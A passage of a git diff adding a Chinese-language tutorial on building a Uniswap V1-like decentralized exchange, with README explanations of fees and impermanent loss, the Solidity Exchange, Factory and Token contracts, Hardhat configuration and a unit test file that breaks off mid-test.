+        IERC20 token = IERC20(tokenAddress);
+        token.transferFrom(msg.sender, address(this), tokenAmount);
+
+        // 根据注入的eth流动性 与 合约eth数量 的比值分发 LP token
+        uint256 liquidity = (totalSupply() * msg.value) / ethReserve;
+        _mint(msg.sender, liquidity);   //  ERC20._mint() 向流动性提供者发送 LP token
+
+        return liquidity;
+    }
+}
+```
+
+### 手续费
+
+在收取手续费之前先思考几个问题：
+
+1. 我们要收取 ETH 或代币的费用吗？我们想用 ETH 还是代币向流动性提供者支付奖励？
+2. 如何从每次交易中收取少量固定费用？
+3. 如何根据流动性提供者的贡献将累积费用分配给他们？
+
+先看看问题 2 和 3，我们可以在每次交易进行时发送额外的费用，并积累到一个基金池中，任何流动性提供者都可以从中提取相应份额的手续费。
+
+1. 每次交易，从中扣除手续费，而不是额外收取
+2. 我们已经有了资金（被注入池中充当流动性的资产）——这是外汇储备！储备金可用于积累费用。这意味着**储备会随着时间的推移而增长**，所以恒定乘积公式不是那么恒定！不过和储备金相比，付给 LP (Liquidity provider 流动性提供者)的费用是很小一部分，并因此也很难通过分配手续费的路径来影响储备金。
+3. 所以，现在已经有了第一个问题的答案：费用以交易资产的货币支付(即交易对中的两种货币)
+
+UniswapV1 从每次交易中收取 0.03% 的手续费。为了计算简单，我们收取 1%。向合约添加费用就像添加几个乘数一样简单 `Exchange.getAmount()`
+
+```solidity
+// 基础公式 outputAmount = (inputAmount * outputReserve) / (inputReserve + inputAmount)
+// This is a low-level function, so let it be private.
+function getAmount(
+    uint256 inputAmount,
+    uint256 inputReserve,
+    uint256 outputReserve
+) private pure returns (uint256) {
+    require(inputReserve > 0 && outputReserve > 0, "invalid reserves");
+
+    // 收取1%的手续费
+    // solidity 不支持浮点运算，所以分子和分母同时 × 100，提高除法运算精度
+    uint256 inputAmountWithFee = inputAmount * 99;  // 100 - 1 扣除手续费
+    uint256 numerator = inputAmountWithFee * outputReserve;
+    uint256 denominator = (inputReserve * 100) + inputAmountWithFee;
+
+    return numerator / denominator;
+}
+```
+
+### 移除流动性 Remove liquidity
+
+为了移除流动性，我们可以再次使用 `LP token` ：我们不需要记住每个流动性提供者存入的金额，而是根据 `LP token` 份额计算移除的流动性数量
+
+```solidity
+function removeLiquidity(uint256 _amount)
+    public
+    returns (uint256, uint256)
+{
+    uint256 ethAmount = (address(this).balance * _amount) / totalSupply();
+    uint256 tokenAmount = (getReserve() * _amount) / totalSupply();
+
+    // ERC20._burn() 销毁LP
+    _burn(msg.sender, _amount);
+    // 返还用户质押的 ETH 和 token
+    payable(msg.sender).transfer(ethAmount);
+    IERC20(tokenAddress).transfer(msg.sender, tokenAmount);
+
+    return (ethAmount, tokenAmount);
+}
+```
+
+当流动性被移除时，它会以 ETH 和 token 的形式返回，当然，它们的数量是平衡的（按照当时池子中两个资产的比例）。
+
+这是造成**无常损失**(IL Impermanence Loss)的地方：随着以美元计价的价格变化，资产储备数量的比例随时间变化。当流动性被移除时，数量的比例可能与流动性存入时的数量的比例不同。这意味着您将获得不同数量的 ETH 和 token，它们的总价格可能低于您将它们放在钱包中的价格。
+
+```math
+removedAmount = reserve * (amountLP / totalAmountLP)
+```
+
+### 理解无常损失
+
+举个栗子：
+
+1. 假定现在 1 ETH 价值 100 DAI, 你添加了 1 ETH 和 100 DAI 作为流动性, 其资产总价值为 200 DAI `assets = 1 * 100 + 100`
+2. 一段时间后，ETH 价格上涨到 150 DAI, 那么此时池子中两者数量的比例应为 ETH:DAI = 1:1.5 ，因为价格就是两者数量的比值
+3. 然后利用 `x * y = k` 计算两者数量，`k` 是一个恒定的值，所以可以由第 1 步添加时的数值计算 k = 1 \* 100 = 100，然后根据第 2 步已知的比例计算两者数量，ETH 约 0.8165 个， DAI 约 122.47 个，两者的乘积应还是 100 （因为小数点精度的取舍，会有一点误差）
+4. 这个时候你的流动性按照 DAI 来计价是 244.94 `assets = 150 * 0.816 + 122.4`，浮盈 44.94（暂时不考虑手续费的收益），看起来收获颇丰
+5. 但是如果你一开始并没有添加流动性，而是一直持有 1 ETH 和 100 DAI，然后等到 ETH 价格涨到 150 的时候，你的资产按照 DAI 计价就是 250 了，比第 4 步还要多 5DAI 左右的利润。这部分收益的差距就是无常损失。
+
+为什么会有无常损失？
+
+向市场提供流动性，即成为做市商，实际上是和市场中的用户做对手盘。而 AMM（自动化做市商）是被动的和市场中的用户做对手盘，即当市场中大部分人看好 ETH 后市，用 DAI 买入 ETH，你的流动性池子会被动的增加 DAI 而减少 ETH.
+
+所以，提供流动性就代表了总是和市场做反向的操作，总是倾向去持有更多的弱势资产（当 ETH 上涨为强势资产，DAI 就是弱势资产）。于是当 ETH 上涨，你的流动性会不断提前抛出 ETH，而拿到更多的 DAI，这些被提前抛出的 ETH 就成了无常损失的来源，即这个时候无常损失可以理解为你在 ETH 上的踏空损失，或者是被外部套利者拿走了池内的价值。
+
+如果你想更深入了解无常损失，可以看这篇博文 [淺談無常損失 (Impermanent Loss) 及其避險方式](https://medium.com/@cic.ethan/%E6%B7%BA%E8%AB%87%E7%84%A1%E5%B8%B8%E6%90%8D%E5%A4%B1-impermanent-loss-%E5%8F%8A%E5%85%B6%E9%81%BF%E9%9A%AA%E6%96%B9%E5%BC%8F-2ec23978b767)
+
+### LP 奖励和无常损失演示
+
+编写一个测试流程，重现增加流动性、交换代币、累计费用和移除流动性的完整流程：
+
+1. 首先，流动性提供者存入 100 个 ETH 和 200 个代币。这使得 1 个代币等于 0.5 个 ETH ，而 1 个 ETH 等于 2 个代币。
+
+   ```js
+   exchange.addLiquidity(toWei(200), { value: toWei(100) });
+   ```
+
+2. 用户交换 10 个 ETH 并期望获得至少 18 个代币。事实上，他们得到了 18.0164 个代币。它包括滑点（交易量相对较大）和 1% 的费用。
+
+   ```js
+   exchange.connect(user).ethToTokenSwap(toWei(18), { value: toWei(10) });
+   ```
+
+3. 流动性提供者然后移除他们的流动性
+
+   ```js
+   exchange.removeLiquidity(toWei(100));
+   ```
+
+4. 流动性提供者获得 109.9 个 ETH （包括交易费用）和 181.9836 个代币。如您所见，这些数字与存入的数字不同：我们获得了用户交易的 10 个 ETH ，但必须提供 18.0164 个代币作为交换。但是，该金额包括用户支付给我们的 1% 的费用。由于流动性提供者提供了所有流动性，他们获得了所有费用。
+
+## 代码使用方法
+
+### 安装
+
+```sh
+yarn install
+```
+
+### 编译合约
+
+```sh
+yarn build
+```
+
+或
+
+```sh
+npx hardhat compile
+```
+
+### 运行测试
+
+```sh
+yarn test
+```
+
+或
+
+```sh
+npx hardhat test
+```
+
+## 可能遇到的问题
+
+### gas 费用测试不通过
+
+如果遇到 gas 费用与预期不一致的情况，请先检查 `hardhat.config.js`。因为 hardhat 的 gasPrice 默认是 8000000000,这里我们设置 1000000000，便于计算
+
+### 账户余额不足测试不通过
+
+hardhat 初始化默认每个账户 100eth，这里需要给多点，设置 `accountsBalance` 1000000
+
+```js
+module.exports = {
+  networks: {
+    hardhat: {
+      accounts: {
+        accountsBalance: utils.parseEther("1000000").toString(),
+      },
+      gasPrice: GAS_PRICE.toNumber(),   // GAS_PRICE = BigNumber.from("1000000000")
+    },
+  },
+  solidity: "0.8.4",
+  ...
+};
+```
+
+## 参考链接
+
+### 原系列教程
+
+- Part 1 ：<https://jeiwan.net/posts/programming-defi-uniswap-1/>
+
+  - code part1：<https://github.com/Jeiwan/zuniswap/tree/part_1/>
+
+- Part 2 ：<https://jeiwan.net/posts/programming-defi-uniswap-2/>
+
+  - code part2：https://github.com/Jeiwan/zuniswap/tree/part_2/
+
+- Part 3 ：<https://jeiwan.net/posts/programming-defi-uniswap-3/>
+
+  - code part3：https://github.com/Jeiwan/zuniswap/tree/part_3/
+
+### 其他参考
+
+- Uniswap V1 文档: <https://uniswap.org/docs/v1/>
+
+- Uniswap V1 white paper: <https://hackmd.io/@HaydenAdams/HJ9jLsfTz>
+
+- Constant Function Market Makers- DeFi’s “Zero to One” Innovation: <https://medium.com/bollinger-investment-group/constant-function-market-makers-defis-zero-to-one-innovation-968f77022159>
+
+- Automated Market Making - Theory and Practice: <http://reports-archive.adm.cs.cmu.edu/anon/2012/CMU-CS-12-123.pdf>
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/contracts/Exchange.sol b/basic/13-decentralized-exchange/uniswap-v1-like/contracts/Exchange.sol
new file mode 100644
index 000000000..9a77dacf0
--- /dev/null
+++ b/basic/13-decentralized-exchange/uniswap-v1-like/contracts/Exchange.sol
@@ -0,0 +1,201 @@
+// contract/Exchange.sol
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+interface IExchange {
+    function ethToTokenSwap(uint256 _minTokens) external payable;
+
+    function ethToTokenTransfer(uint256 _minTokens, address _recipient)
+        external
+        payable;
+}
+
+interface IFactory {
+    function getExchange(address _tokenAddress) external returns (address);
+}
+
+contract Exchange is ERC20 {
+    address public tokenAddress;
+    address public factoryAddress;
+
+    constructor(address _token) ERC20("Uniswap-V1-like", "UNI-V1") {
+        require(_token != address(0), "invalid token address");
+
+        tokenAddress = _token;
+        factoryAddress = msg.sender;
+    }
+
+    function addLiquidity(uint256 _tokenAmount)
+        public
+        payable
+        returns (uint256)
+    {
+        if (getReserve() == 0) {
+            // 初始添加流动性，直接添加，不需要限制
+            IERC20 token = IERC20(tokenAddress);
+            token.transferFrom(msg.sender, address(this), _tokenAmount);
+
+            uint256 liquidity = address(this).balance;
+            _mint(msg.sender, liquidity); //  ERC20._mint() 向流动性提供者发送 LP token
+
+            return liquidity;
+        } else {
+            // 后续新增流动性则需要按照当前的储备量比例，等比增加
+            // 保证价格添加流动性前后一致
+            uint256 ethReserve = address(this).balance - msg.value;
+            uint256 tokenReserve = getReserve();
+            // solidity不支持浮点运算，所以运算顺序非常重要
+            // 如果 msg.value * (tokenReserve / ethReserve) 的写法会产生计算误差
+            uint256 tokenAmount = (msg.value * tokenReserve) / ethReserve;
+
+            // 保证流动性按照当前比例注入，如果token少于应有数量则不能执行
+            require(_tokenAmount >= tokenAmount, "insufficient token amount");
+
+            IERC20 token = IERC20(tokenAddress);
+            token.transferFrom(msg.sender, address(this), tokenAmount);
+
+            // 根据注入的eth流动性 与 合约eth储备量 的比值分发 LP token
+            uint256 liquidity = (msg.value * totalSupply()) / ethReserve;
+            _mint(msg.sender, liquidity); //  ERC20._mint() 向流动性提供者发送 LP token
+
+            return liquidity;
+        }
+    }
+
+    function removeLiquidity(uint256 _amount)
+        public
+        returns (uint256, uint256)
+    {
+        require(_amount > 0, "invalid amount");
+
+        uint256 ethAmount = (address(this).balance * _amount) / totalSupply();
+        uint256 tokenAmount = (getReserve() * _amount) / totalSupply();
+
+        // ERC20._burn() 销毁LP
+        _burn(msg.sender, _amount);
+        // 向用户返回 eth 和 token
+        payable(msg.sender).transfer(ethAmount);
+        IERC20(tokenAddress).transfer(msg.sender, tokenAmount);
+
+        return (ethAmount, tokenAmount);
+    }
+
+    function getReserve() public view returns (uint256) {
+        return IERC20(tokenAddress).balanceOf(address(this));
+    }
+
+    // This is a low-level function, so let it be private.
+    // 基础公式 outputAmount = (inputAmount * outputReserve) / (inputReserve + inputAmount)
+    function getAmount(
+        uint256 inputAmount,
+        uint256 inputReserve,
+        uint256 outputReserve
+    ) private pure returns (uint256) {
+        require(inputReserve > 0 && outputReserve > 0, "invalid reserves");
+
+        // 收取1%的手续费
+        // solidity 不支持浮点运算，所以分子和分母同时 × 100
+        uint256 inputAmountWithFee = inputAmount * 99;
+        uint256 numerator = inputAmountWithFee * outputReserve;
+        uint256 denominator = (inputReserve * 100) + inputAmountWithFee;
+
+        return numerator / denominator;
+    }
+
+    function getTokenAmount(uint256 _ethSold) public view returns (uint256) {
+        require(_ethSold > 0, "ethSold is too small");
+
+        uint256 tokenReserve = getReserve();
+
+        return getAmount(_ethSold, address(this).balance, tokenReserve);
+    }
+
+    function getEthAmount(uint256 _tokenSold) public view returns (uint256) {
+        require(_tokenSold > 0, "tokenSold is too small");
+
+        uint256 tokenReserve = getReserve();
+
+        return getAmount(_tokenSold, tokenReserve, address(this).balance);
+    }
+
+
+
+    function ethToToken(uint256 _minTokens, address recipient) private {
+        uint256 tokenReserve = getReserve();
+        uint256 tokensBought = getAmount(
+            msg.value,
+            address(this).balance - msg.value,
+            tokenReserve
+        );
+
+        require(tokensBought >= _minTokens, "insufficient output amount");
+
+        IERC20(tokenAddress).transfer(recipient, tokensBought);
+    }
+
+    function ethToTokenSwap(uint256 _minTokens) public payable {
+        ethToToken(_minTokens, msg.sender);
+    }
+
+    function ethToTokenTransfer(uint256 _minTokens, address _recipient)
+        public
+        payable
+    {
+        ethToToken(_minTokens, _recipient);
+    }
+
+    // 使用token购买eth
+    function tokenToEthSwap(uint256 _tokensSold, uint256 _minEth) public {
+        uint256 tokenReserve = getReserve();
+        uint256 ethBought = getAmount(
+            _tokensSold,
+            tokenReserve,
+            address(this).balance
+        );
+
+        require(ethBought >= _minEth, "insufficient output amount");
+
+        IERC20(tokenAddress).transferFrom(
+            msg.sender,
+            address(this),
+            _tokensSold
+        );
+        payable(msg.sender).transfer(ethBought);
+    }
+
+    // tokenA swap tokenB
+    function tokenToTokenSwap(
+        uint256 _tokensSold,
+        uint256 _minTokensBought,
+        address _tokenAddress
+    ) public {
+        address exchangeAddress = IFactory(factoryAddress).getExchange(
+            _tokenAddress
+        );
+        require(
+            exchangeAddress != address(this) && exchangeAddress != address(0),
+            "invalid exchange address"
+        );
+
+        uint256 tokenReserve = getReserve();
+        uint256 ethBought = getAmount(
+            _tokensSold,
+            tokenReserve,
+            address(this).balance
+        );
+
+        //给 owner打钱
+        IERC20(tokenAddress).transferFrom(
+            msg.sender,
+            address(this),
+            _tokensSold
+        );
+
+        IExchange(exchangeAddress).ethToTokenTransfer{value: ethBought}(
+            _minTokensBought,
+            msg.sender
+        );
+    }
+}
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/contracts/Factory.sol b/basic/13-decentralized-exchange/uniswap-v1-like/contracts/Factory.sol
new file mode 100644
index 000000000..d410ea79d
--- /dev/null
+++ b/basic/13-decentralized-exchange/uniswap-v1-like/contracts/Factory.sol
@@ -0,0 +1,29 @@
+//SPDX-License-Identifier: Unlicense
+pragma solidity ^0.8.0;
+
+import "./Exchange.sol";
+
+contract Factory {
+    mapping(address => address) public tokenToExchange;
+
+    function createExchange(address _tokenAddress) public returns (address) {
+        // 确保token 地址不是 address 0
+        require(_tokenAddress != address(0), "invalid token address");
+        // 确保 新建的交易所 地址是 address 0 （代表该交易对的交易所还未创建）
+        // 保证同一个 交易对 地址相同，不会出现多个交易所的情况
+        // 我们不希望流动性分散在多个交易所，最好集中在一个交易所以减少滑点并提供更好的汇率。
+        require(
+            tokenToExchange[_tokenAddress] == address(0),
+            "exchange already exists"
+        );
+
+        Exchange exchange = new Exchange(_tokenAddress);
+        tokenToExchange[_tokenAddress] = address(exchange);
+
+        return address(exchange);
+    }
+
+    function getExchange(address _tokenAddress) public view returns (address) {
+        return tokenToExchange[_tokenAddress];
+    }
+}
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/contracts/Token.sol b/basic/13-decentralized-exchange/uniswap-v1-like/contracts/Token.sol
new file mode 100644
index 000000000..67804bd6d
--- /dev/null
+++ b/basic/13-decentralized-exchange/uniswap-v1-like/contracts/Token.sol
@@ -0,0 +1,14 @@
+// contracts/Token.sol
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+
+contract Token is ERC20 {
+    constructor(
+        string memory name,
+        string memory symbol,
+        uint256 initialSupply
+    ) ERC20(name, symbol) {
+        _mint(msg.sender, initialSupply);
+    }
+}
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/hardhat.config.js b/basic/13-decentralized-exchange/uniswap-v1-like/hardhat.config.js
new file mode 100644
index 000000000..e54b16c7a
--- /dev/null
+++ b/basic/13-decentralized-exchange/uniswap-v1-like/hardhat.config.js
@@ -0,0 +1,32 @@
+require("@nomicfoundation/hardhat-toolbox");
+const ethers = require('ethers');
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  networks: {
+    hardhat: {
+      accounts: {
+        // 初始化账户给 1000000 eth 默认 100 不够用
+        accountsBalance: ethers.parseEther("1000000").toString(),
+      },
+      // gasPrice 1000000000 默认 8000000000
+      // 便于计算gas费用
+      gasPrice: 1000000000
+    },
+  },
+  solidity: "0.8.4"
+};
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/images/uniswap-exchange.png b/basic/13-decentralized-exchange/uniswap-v1-like/images/uniswap-exchange.png
new file mode 100644
index 000000000..f3f25d7d4
Binary files /dev/null and b/basic/13-decentralized-exchange/uniswap-v1-like/images/uniswap-exchange.png differ
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/images/uniswap-v1-like-01.png b/basic/13-decentralized-exchange/uniswap-v1-like/images/uniswap-v1-like-01.png
new file mode 100644
index 000000000..4155d0e91
Binary files /dev/null and b/basic/13-decentralized-exchange/uniswap-v1-like/images/uniswap-v1-like-01.png differ
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/images/uniswap-v1-like-02.png b/basic/13-decentralized-exchange/uniswap-v1-like/images/uniswap-v1-like-02.png
new file mode 100644
index 000000000..e3e13d00b
Binary files /dev/null and b/basic/13-decentralized-exchange/uniswap-v1-like/images/uniswap-v1-like-02.png differ
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/package.json b/basic/13-decentralized-exchange/uniswap-v1-like/package.json
new file mode 100644
index 000000000..e12f929ba
--- /dev/null
+++ b/basic/13-decentralized-exchange/uniswap-v1-like/package.json
@@ -0,0 +1,17 @@
+{
+  "scripts": {
+    "build": "npx hardhat compile",
+    "test": "npx hardhat test"
+  },
+  "dependencies": {
+    "@openzeppelin/contracts": "^4.1.0",
+    "hardhat": "^2.4.1"
+  },
+  "devDependencies": {
+    "@nomicfoundation/edr-darwin-x64": "^0.3.3",
+    "@nomicfoundation/hardhat-chai-matchers": "^2.0.6",
+    "@nomicfoundation/hardhat-ethers": "^3.0.5",
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0",
+    "ethers": "^6.11.1"
+  }
+}
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/test/Exchange.test.js b/basic/13-decentralized-exchange/uniswap-v1-like/test/Exchange.test.js
new file mode 100644
index 000000000..6cb8de7f8
--- /dev/null
+++ b/basic/13-decentralized-exchange/uniswap-v1-like/test/Exchange.test.js
@@ -0,0 +1,400 @@
+const { expect } = require('chai');
+const hre = require('hardhat');
+const ethers = hre.ethers;
+
+const { getGasFeeFromTx } = require('../utils');
+const { getAddress } = require('ethers');
+
+const toWei = (value) => ethers.parseEther(value.toString());
+
+const fromWei = (value) =>
+  ethers.formatEther(typeof value === 'string' ? value : value.toString());
+
+const getBalance = async (value) =>
+  await ethers.provider.getBalance(value);
+
+const createExchange = async (factory, tokenAddress, sender) => {
+
+  console.log(tokenAddress, sender.address);
+  const exchangeAddress = await factory.connect(sender).createExchange(tokenAddress);
+  exchangeAddress.wait();
+
+  const address = await factory.connect(sender).getExchange(tokenAddress);
+  console.log("token address-" + tokenAddress + "-exchange address-" + address);
+  const Exchange = await ethers.getContractFactory('Exchange');
+  return Exchange.attach(address);
+};
+describe('Exchange', () => {
+  let owner;
+  let user;
+  let exchange;
+  let token;
+
+  beforeEach(async () => {
+    [owner, user] = await ethers.getSigners();
+
+    const Token = await ethers.getContractFactory('Token');
+    token = await Token.deploy('Token', 'TKN', toWei(1000000));
+
+    const Exchange = await ethers.getContractFactory('Exchange');
+    exchange = await Exchange.deploy(token.target);
+  });
+
+  it('is deployed', async () => {
+
+    expect(await exchange.name()).to.equal('Uniswap-V1-like');
+
+    expect(await exchange.symbol()).to.equal('UNI-V1');
+
+    expect(await exchange.totalSupply()).to.equal(toWei(0));
+
+    expect(await exchange.factoryAddress()).to.equal(owner.address);
+  });
+
+  describe('addLiquidity', async () => {
+    describe('empty reserves', async () => {
+      it('adds liquidity', async () => {
+        await token.approve(exchange.target, toWei(200));
+        await exchange.addLiquidity(toWei(200), { value: toWei(100) });
+        expect(await getBalance(exchange.target)).to.equal(toWei(100));
+        expect(await exchange.getReserve()).to.equal(toWei(200));
+      });
+
+      it('mints LP tokens', async () => {
+        await token.approve(exchange.target, toWei(200));
+        await exchange.addLiquidity(toWei(200), { value: toWei(100) });
+        const  a = await exchange.balanceOf(owner.address);
+        expect(await exchange.balanceOf(owner.address)).to.eq(toWei(100));
+        expect(await exchange.totalSupply()).to.eq(toWei(100));
+      });
+
+      it('allows zero amounts', async () => {
+        await token.approve(exchange.target, 0);
+        await exchange.addLiquidity(0, { value: 0 });
+
+        expect(await ethers.provider.getBalance(exchange.target)).to.equal(0);
+        expect(await exchange.getReserve()).to.equal(0);
+      });
+    });
+
+    describe('existing reserves', async () => {
+      beforeEach(async () => {
+        await token.approve(exchange.target, toWei(300));
+        await exchange.addLiquidity(toWei(200), { value: toWei(100) });
+      });
+
+      it('preserves exchange rate', async () => {
+        await exchange.addLiquidity(toWei(200), { value: toWei(50) });
+
+        expect(await ethers.provider.getBalance(exchange.target)).to.equal(toWei(150));
+        expect(await exchange.getReserve()).to.equal(toWei(300));
+      });
+
+      it('mints LP tokens', async () => {
+
+        await exchange.addLiquidity(toWei(200), { value: toWei(50) });
+
+        expect(await exchange.balanceOf(owner.address)).to.eq(toWei(150));
+        expect(await exchange.totalSupply()).to.eq(toWei(150));
+      });
+
+      it('fails when not enough tokens', async () => {
+        await expect(exchange.addLiquidity(toWei(50), { value: toWei(50) })).to.be.revertedWith('insufficient token amount');
+      });
+    });
+  });
+
+  describe('removeLiquidity', async () => {
+    beforeEach(async () => {
+      await token.approve(exchange.target, toWei(300));
+      await exchange.addLiquidity(toWei(200), { value: toWei(100) });
+    });
+
+    it('removes some liquidity', async () => {
+      const amount = toWei(25);
+
+      const userEtherBalanceBefore = await ethers.provider.getBalance(owner.address);
+      const userTokenBalanceBefore = await token.balanceOf(owner.address);
+
+      const tx = await exchange.removeLiquidity(amount);
+      const gasFee = await getGasFeeFromTx(tx);
+
+      expect(await exchange.getReserve()).to.equal(toWei(150));
+      expect(await ethers.provider.getBalance(exchange.target)).to.equal(toWei(75));
+
+      const userEtherBalanceAfter = await ethers.provider.getBalance(owner.address);
+      const userTokenBalanceAfter = await token.balanceOf(owner.address);
+
+      expect(userEtherBalanceAfter - userEtherBalanceBefore).to.equals(amount - gasFee); // the balance of eth has been cost gas fees
+
+      expect(userTokenBalanceAfter - userTokenBalanceBefore).to.equals(toWei(50));
+    });
+
+    it('removes all liquidity', async () => {
+      const userEtherBalanceBefore = await ethers.provider.getBalance(owner.address);
+      const userTokenBalanceBefore = await token.balanceOf(owner.address);
+
+      const tx = await exchange.removeLiquidity(toWei(100));
+      const gasFee = await getGasFeeFromTx(tx)
+
+      expect(await exchange.getReserve()).to.equal(toWei(0));
+      expect(await ethers.provider.getBalance(exchange.target)).to.equal(toWei(0));
+
+      const userEtherBalanceAfter = await ethers.provider.getBalance(owner.address);
+      const userTokenBalanceAfter = await token.balanceOf(owner.address);
+
+      expect(userEtherBalanceAfter - userEtherBalanceBefore).to.equal(toWei(100) - gasFee ); // 100 - gas fees
+
+      expect(fromWei(userTokenBalanceAfter - userTokenBalanceBefore)).to.equal('200.0');
+    });
+
+    it('pays for provided liquidity', async () => {
+      const amount = toWei(100);
+      const userEtherBalanceBefore = await ethers.provider.getBalance(owner.address);
+      const userTokenBalanceBefore = await token.balanceOf(owner.address);
+
+      await exchange.connect(user).ethToTokenSwap(toWei(18), { value: toWei(10) });
+
+      const tx = await exchange.removeLiquidity(amount);
+      const gasFee = await getGasFeeFromTx(tx);
+
+      expect(await exchange.getReserve()).to.equal(toWei(0));
+      expect(await ethers.provider.getBalance(exchange.target)).to.equal(toWei(0));
+      expect(fromWei(await token.balanceOf(user.address))).to.equal('18.01637852593266606');
+
+      const userEtherBalanceAfter = await ethers.provider.getBalance(owner.address);
+      const userTokenBalanceAfter = await token.balanceOf(owner.address);
+
+      // user will receive eth 100 + 10 - gas fees
+      expect(userEtherBalanceAfter - userEtherBalanceBefore).to.equals(toWei(110) - gasFee);
+
+      expect(fromWei(userTokenBalanceAfter - userTokenBalanceBefore)).to.equal('181.98362147406733394');
+    });
+
+    it('burns LP-tokens', async () => {
+      await expect(() => exchange.removeLiquidity(toWei(25))).to.changeTokenBalance(exchange, owner, toWei(-25));
+
+      expect(await exchange.totalSupply()).to.equal(toWei(75));
+    });
+
+    it("doesn't allow invalid amount", async () => {
+      await expect(exchange.removeLiquidity(toWei(100.1))).to.be.revertedWith('ERC20: burn amount exceeds balance');
+    });
+  });
+
+  describe('getTokenAmount', async () => {
+    it('returns correct token amount', async () => {
+      await token.approve(exchange.target, toWei(2000));
+      await exchange.addLiquidity(toWei(2000), { value: toWei(1000) });
+
+      let tokensOut = await exchange.getTokenAmount(toWei(1));
+      expect(fromWei(tokensOut)).to.equal('1.978041738678708079');
+
+      tokensOut = await exchange.getTokenAmount(toWei(100));
+      expect(fromWei(tokensOut)).to.equal('180.1637852593266606');
+
+      tokensOut = await exchange.getTokenAmount(toWei(1000));
+      expect(fromWei(tokensOut)).to.equal('994.974874371859296482');
+    });
+  });
+
+  describe('getEthAmount', async () => {
+    it('returns correct ether amount', async () => {
+      await token.approve(exchange.target, toWei(2000));
+      await exchange.addLiquidity(toWei(2000), { value: toWei(1000) });
+
+      let ethOut = await exchange.getEthAmount(toWei(2));
+      expect(fromWei(ethOut)).to.equal('0.989020869339354039');
+
+      ethOut = await exchange.getEthAmount(toWei(100));
+      expect(fromWei(ethOut)).to.equal('47.16531681753215817');
+
+      ethOut = await exchange.getEthAmount(toWei(2000));
+      expect(fromWei(ethOut)).to.equal('497.487437185929648241');
+    });
+  });
+
+  describe('ethToTokenTransfer', async () => {
+    beforeEach(async () => {
+      await token.approve(exchange.target, toWei(2000));
+      await exchange.addLiquidity(toWei(2000), { value: toWei(1000) });
+    });
+
+    it('transfers at least min amount of tokens to recipient', async () => {
+      const userBalanceBefore = await getBalance(user.address);
+
+      const tx = await exchange.connect(user).ethToTokenTransfer(toWei(1.97), user.address, { value: toWei(1) });
+      const gasFee = await getGasFeeFromTx(tx)
+
+      const userBalanceAfter = await getBalance(user.address);
+      expect(userBalanceBefore - userBalanceAfter).to.equal(toWei(1) + gasFee);
+
+      const userTokenBalance = await token.balanceOf(user.address);
+      expect(fromWei(userTokenBalance)).to.equal('1.978041738678708079');
+
+      const exchangeEthBalance = await getBalance(exchange.target);
+      expect(fromWei(exchangeEthBalance)).to.equal('1001.0');
+
+      const exchangeTokenBalance = await token.balanceOf(exchange.target);
+      expect(fromWei(exchangeTokenBalance)).to.equal('1998.021958261321291921');
+    });
+  });
+
+  describe('ethToTokenSwap', async () => {
+    beforeEach(async () => {
+      await token.approve(exchange.target, toWei(2000));
+      await exchange.addLiquidity(toWei(2000), { value: toWei(1000) });
+    });
+
+    it('transfers at least min amount of tokens', async () => {
+      const userBalanceBefore = await getBalance(user.address);
+
+      const tx = await exchange.connect(user).ethToTokenSwap(toWei(1.97), { value: toWei(1) });
+      const gasFee = await getGasFeeFromTx(tx)
+
+      const userBalanceAfter = await getBalance(user.address);
+      expect(userBalanceBefore - userBalanceAfter).to.equal(toWei(1n)  + gasFee);
+
+      const userTokenBalance = await token.balanceOf(user.address);
+      expect(fromWei(userTokenBalance)).to.equal('1.978041738678708079');
+
+      const exchangeEthBalance = await ethers.provider.getBalance(exchange.target);
+      expect(fromWei(exchangeEthBalance)).to.equal('1001.0');
+
+      const exchangeTokenBalance = await token.balanceOf(exchange.target);
+      expect(fromWei(exchangeTokenBalance)).to.equal('1998.021958261321291921');
+    });
+
+    it('affects exchange rate', async () => {
+      let tokensOut = await exchange.getTokenAmount(toWei(10));
+      expect(fromWei(tokensOut)).to.equal('19.605901574413308248');
+
+      await exchange.connect(user).ethToTokenSwap(toWei(9), { value: toWei(10) });
+
+      tokensOut = await exchange.getTokenAmount(toWei(10));
+      expect(fromWei(tokensOut)).to.equal('19.223356774598792281');
+    });
+
+    it('fails when output amount is less than min amount', async () => {
+      await expect(exchange.connect(user).ethToTokenSwap(toWei(2), { value: toWei(1) })).to.be.revertedWith('insufficient output amount');
+    });
+
+    it('allows zero swaps', async () => {
+      await exchange.connect(user).ethToTokenSwap(toWei(0), { value: toWei(0) });
+
+      const userTokenBalance = await token.balanceOf(user.address);
+      expect(fromWei(userTokenBalance)).to.equal('0.0');
+
+      const exchangeEthBalance = await ethers.provider.getBalance(exchange.target);
+      expect(fromWei(exchangeEthBalance)).to.equal('1000.0');
+
+      const exchangeTokenBalance = await token.balanceOf(exchange.target);
+      expect(fromWei(exchangeTokenBalance)).to.equal('2000.0');
+    });
+  });
+
+  describe('tokenToEthSwap', async () => {
+    beforeEach(async () => {
+      await token.transfer(user.address, toWei(22));
+      await token.connect(user).approve(exchange.target, toWei(22));
+
+      await token.approve(exchange.target, toWei(2000));
+      await exchange.addLiquidity(toWei(2000), { value: toWei(1000) });
+    });
+
+    it('transfers at least min amount of tokens', async () => {
+      const minAmount = toWei(0.9)
+      const userBalanceBefore = await getBalance(user.address);
+      const exchangeBalanceBefore = await ethers.provider.getBalance(exchange.target);
+
+      const tx = await exchange.connect(user).tokenToEthSwap(toWei(2), minAmount);
